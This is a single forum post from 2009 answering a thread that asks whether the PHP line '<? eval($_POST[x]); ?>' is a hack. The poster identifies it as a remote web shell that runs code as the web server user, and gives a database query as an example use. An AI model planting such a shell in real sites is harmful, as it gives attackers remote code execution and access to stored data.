Thread: <? eval($_POST[x]); ?> is this a hack?
View Single Post
Old 02-25-2009, 01:14 PM  
V_RocKs
Damn Right I Kiss Ass!
 
Industry Role:
Join Date: Dec 2003
Location: Cowtown, USA
Posts: 32,406
That is indeed "a hack"... Remote shell... Allows anyone to execute code as the user apache is running as. Usually "nobody".

What can it be used for?

select * from users;

among other things...
V_RocKs is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote